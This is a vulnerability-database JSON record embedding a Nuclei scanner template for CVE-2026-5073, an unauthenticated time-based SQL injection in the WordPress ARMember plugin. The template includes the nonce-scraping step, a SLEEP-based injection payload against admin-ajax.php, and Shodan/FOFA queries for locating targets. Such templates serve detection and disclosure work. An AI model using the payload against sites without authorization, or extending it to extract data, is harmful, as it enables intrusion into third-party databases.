{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-5073/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-5073/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-5073/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-5073/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-5073/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-5073"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-5073"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-5073.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-5073\n\ninfo:\n  name: WordPress ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection\n  author: DhiyaneshDk\n  severity: critical\n  description: |\n    The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.\n  impact: |\n    This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n  remediation: |\n    Update ARMember Premium to version 7.3.2 or later.\n  reference:\n    - https://patchstack.com/database/wordpress/plugin/armember/vulnerability/wordpress-armember-premium-membership-plugin-content-restriction-member-levels-user-profile-user-signup-plugin-7-3-1-unauthenticated-sql-injection-vulnerability\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f6d2a2-ad3e-4afc-b6fd-745881d85b6b\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5073\n    - https://codecanyon.net/item/armember-complete-wordpress-membership-system/17785056\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-5073\n    epss-score: 0.01383\n    epss-percentile: 0.72268\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: reputeinfosystems\n    product: armember\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/armember-membership/\"\n    fofa-query: body=\"/wp-content/plugins/armember-membership/\"\n  tags: cve,cve2026,sqli,time-based-sqli,wordpress,wp,wp-plugin,armember,unauth,vkev\n\nflow: |\n  http(\"detect\") && http(\"get-nonce\") && http(\"sqli\")\n\nhttp:\n  - id: detect\n    method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/armember-membership/readme.txt\"\n\n    matchers:\n      - type: word\n        words:\n          - \"ARMember\"\n        internal: true\n\n  - id: get-nonce\n    method: GET\n    path:\n      - \"{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100\"\n\n    extractors:\n      - type: regex\n        name: nonce\n        internal: true\n        group: 1\n        regex:\n          - \"name='arm_wp_nonce'[^>]*value='([a-f0-9]+)'\"\n\n    matchers:\n      - type: word\n        words:\n          - \"arm_wp_nonce\"\n        internal: true\n\n  - id: sqli\n    raw:\n      - |\n        @timeout: 15s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=arm_directory_paging_action&pagination=infinite&id=1&type=directory&orderby=display_name,IF(1=1,SLEEP(6),0)&order=ASC&per_page=10&current_page=1&arm_wp_nonce={{nonce}}\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration>=6\"\n\n      - type: word\n        part: body\n        words:\n          - \"arm_directory_paging_container\"\n# digest: 4a0a004730450221009ef83e4cd7bd279fecb9073560780ef8bad0c09f07f7ab1e8799a77b7e4436a902204194b2bd61345ad0b4bf45834625fe84f9eaf2b648f9edfcc0f6b90193751cb2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-5073"
}